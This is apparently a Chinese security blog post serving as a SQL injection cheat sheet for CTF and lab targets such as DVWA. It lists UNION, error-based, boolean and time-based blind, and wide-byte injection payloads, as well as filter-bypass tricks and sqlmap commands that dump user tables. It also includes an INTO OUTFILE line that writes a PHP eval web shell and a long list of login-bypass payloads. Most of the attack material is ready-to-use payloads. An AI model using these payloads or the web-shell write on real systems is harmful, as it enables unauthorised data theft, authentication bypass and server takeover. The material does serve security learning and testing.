SQL注入漏洞

SQL Injection

Posted by Kyon-H on July 9, 2025

1. SQL注入分类

按SQLMap中的分类来看,SQL注入类型有以下 5 种:

  • UNION query SQL injection(可联合查询注入)
  • Stacked queries SQL injection(可多语句查询注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Error-based SQL injection(报错型注入)
  • Time-based blind SQL injection(基于时间延迟注入)

手工注入常规思路:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解 SQL 查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 查询到账户的数据

SELECT 特殊应用

1
2
3
4
5
6
SELECT DATABASE();	-- 查看当前使用数据库
SELECT VERSION();	-- 版本
SELECT USER();		-- 查看当前登陆数据库用户
select @@datadir;	-- 数据路径
select @@basedir;	-- mysql安装路径
select @@version_compile_os;	-- mysql安装的所在os系统

2. 相关函数

相关函数:UpdateXML(), ExtractValue(), concat(), substr()

2.1.1. UpdateXML(xml_doc,xpath_expr,new_xml)

此函数将xml_doc中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML,三个参数都为字符串。 xml_doc被替换的部分与xpath_expr提供的XPath表达式匹配。 如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 xml_doc片段。

报错原理:利用concat(a_str,sql_str)构造不符合Xpath语法的字符串,导致其解析时报错,updatexml函数将返回报错内容,其中a_str用于让Xpath解析失败,sql_str为正确的能被解析的sql语句。

2.1.2. ExtractValue(xml_doc, xpath_expr)

此函数是返回在xml_doc用xpath_expr路径匹配到的XML片段。报错原理与updatexml()相同。

2.1.3. substr(str_target,pos,length)

对str_target字符串进行截取,从第pos位开始,返回长度为length的字符串。 其中,pos从1开始。

3. 手工注入

3.1. 联合查询

1
2
3
4
5
6
7
8
-- 获取table
union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
-- 获取column
union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'--+
-- or
union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167--+
-- 获取表中值
union select database(),group_concat(flag) from flag--+

3.2. 报错查询

1
2
3
4
5
6
7
8
# 获取数据库名
and extractvalue(1,concat(0x7e,database()))--+
# 获取表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
# 获取列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')))--+
# 获取字段值
and extractvalue(1,concat(0x7e,substr((select group_concat(flag) from flag),1,30)))--+

原始语句:UPDATE users SET password = '$passwd' WHERE username='$row1'

使用 update 时无法直接使用 select 查询某些字段, 报错:You can't specify target table 'users' for update in FROM clause

解决方法:用 (select username from users)a 替换掉

1
updatexml(1,concat(0x7e,(select group_concat(username,0x23,password) from (select username,password from users)a)),1)--+

3.3. 空格过滤绕过

  • /**/
  • --+ #
  • %09 %0a %0b %0c %0d %a0

3.4. 布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 猜数据库名长度
1 and length(database())=100--+
# 猜数据库字符值
1 and ascii(substr(database(),1,1))=100--+
# 猜表数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())=100--+
# 猜表长度
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=100--+
# 猜表字段
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100--+
# 猜列数量
1 and (select count(column_name) from information_schema.tables where table_schema=database() and table_name='flag')=100--+
# 猜列长度
1 and length((select count(column_name) from information_schema.tables where table_schema=database() and table_name='flag' limit 0,1))=100--+
# 猜列字段
1 and ascii(substr((select count(column_name) from information_schema.tables where table_schema=database() and table_name='flag' limit 0,1),1,1))=100--+
# 猜数据值数量
1 and (select count(flag) from flag)=100--+

3.5. 时间盲注

1
2
# 猜数据库名长度
1 and if(length(database())=100,sleep(3),0)--+

3.6. 宽字节注入

使用条件: 编码格式:GBK, GBK2312等 过滤函数:mysql_real_escape_string(), addslashes()

原理:为绕过转义处理,使转义字符与输入字符结合成一个新的字符,使其无法转义

1
2
3
4
5
6
'1%df' or 1=1 #

# 16进制ASCII
'-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
# group by
'-1%df' union select 1,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() group by table_name limit 3,1 --+

3.7. load_file()

3.7.1. 检查权限

1
and (select count(*) from mysql.user)>0

若结果返回正常,说明具有读写权限

1
2
3
4
-- 读取文件
union select1,2,load_file('c:/temp/key.txt') --+
-- 写文件
union select 1,2,'<?php eval($_REQUEST["abc"]);?>',into outfile '/var/www/html/shell.php'  --+

4. 工具注入

4.1.1. sqlmap

参数 作用 示例
--technique=B 强制使用布尔盲注 --technique=B
--batch 非交互模式(自动选择默认选项) --batch
--dbms 指定数据库类型(提高效率) --dbms=mysql
--level 测试等级(1-5,默认1) --level=3
--risk 风险等级(1-3,默认1) --risk=2
--threads 并发线程数(加速检测) --threads=5
--dbs 获取所有数据库名 --dbs
-D database 指定目标数据库 -D testdb
--tables 获取数据库表名 --tables
-T table 指定目标表 -T users
--columns 获取表字段名 --columns
-C column 指定目标字段 -C username,password
--dump 导出表数据 --dump
1
2
3
4
5
6
7
8
# 获取数据库
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch --dbs
# 获取表
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa --tables
# 获取列
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa -T users --columns
# 获取数据
sqlmap -u "http://" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa -T users -C user --dump
1
sqlmap -u "http://192.168.163.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbs --batch

宽字节注入

1
sqlmap -u http://192.168.163.132/sqli/02.php?id=2 --tamper unmagicquotes -D iwebsec --dump

post 方式测试

1
2
3
sqlmap -r a.txt -p uname --technique=B --dbms=mysql -D dvwa -T users -C username,password --stop=1 --dump
# --where="username='admin'"
# --limit 1

5. 万能密码

单引号/双引号两种格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
'/**/or/**/'2'>'1
'/**/or/**/''='
'/**/UnIon/**/SeLect/**/1,1,1/**/from/**/admin/**/Where/**/''='
'/**/or/**/2>1#
admin'#
admin'--/**/
admin'/**/or/**/1=1#
admin'/**/or/**/1=1--/**/
admin'/**/or/**/'1'='1
'='
'/**/or/**/2>1--/**/
admin'/**/and/**/2/**/BeTween/**/1/**/and/**/3--/**/
admin'/**/and/**/2/**/BeTween/**/1/**/and/**/3#
admin'/*
'or/**/1=1/*
or/**/a"="a
"or/**/1=1--
or""="""
or="a'='a
"or1=1--
or=or"""
''or'='or'
')/**/or/**/('a'='a
'.).or.('.a.'='.a
'or/**/1=1
'or/**/1=1--
'or"="a'='a
'or'/**/'1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or'/**/1=1--
a'or'1=1--
or/**/'a'='a'
or/**/1=1--
or1=1--
'.).or.('.a.'='.a/**/
or/**/=/*
"or/**/1=1%00
'OR/**/1=1%00
-1%cf'/**/UnIon/**/SeLect/**/1,1,1/**/as/**/password,1,1,1/**/%23"
' or '1'='1
' or ''='
1
' or 1=1#
' or 1=1--